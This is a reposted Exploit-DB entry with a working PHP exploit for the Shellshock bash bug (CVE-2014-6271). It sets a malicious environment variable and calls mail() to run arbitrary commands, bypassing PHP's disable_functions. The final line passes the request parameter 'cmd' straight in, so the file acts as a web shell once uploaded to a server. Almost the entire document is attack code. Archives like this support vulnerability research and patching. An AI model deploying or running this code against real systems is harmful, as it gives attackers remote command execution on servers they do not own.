PHP 5.x - Bypass Disable Functions (via Shellshock)

admin

1. # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
   
2. # Google Dork: none
   
3. # Date: 10/31/2014
   
4. # Exploit Author: Ryan King (Starfall)
   
5. # Vendor Homepage: http://php.net
   
6. # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
   
7. # Version: 5.* (tested on 5.6.2)
   
8. # Tested on: Debian 7 and CentOS 5 and 6
   
9. # CVE: CVE-2014-6271
   
10. 
    
11. <?php
    
12. function shellshock($cmd) { // Execute a command via CVE-2014-6271 @
    
13. mail.c:283
    
14.    if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
    
15.      $tmp = tempnam(".","data");
    
16.      putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
    
17.      // In Safe Mode, the user may only alter environment variables
    
18. whose names
    
19.      // begin with the prefixes supplied by this directive.
    
20.      // By default, users will only be able to set environment variables
    
21. that
    
22.      // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is
    
23. empty,
    
24.      // PHP will let the user modify ANY environment variable!
    
25.      mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually
    
26. send any mail
    
27.    }
    
28.    else return "Not vuln (not bash)";
    
29.    $output = @file_get_contents($tmp);
    
30.    @unlink($tmp);
    
31.    if($output != "") return $output;
    
32.    else return "No output, or not vuln.";
    
33. }
    
34. shellshock($_REQUEST["cmd"]);
    
35. ?>

复制代码

from:http://www.exploit-db.com/exploits/35146/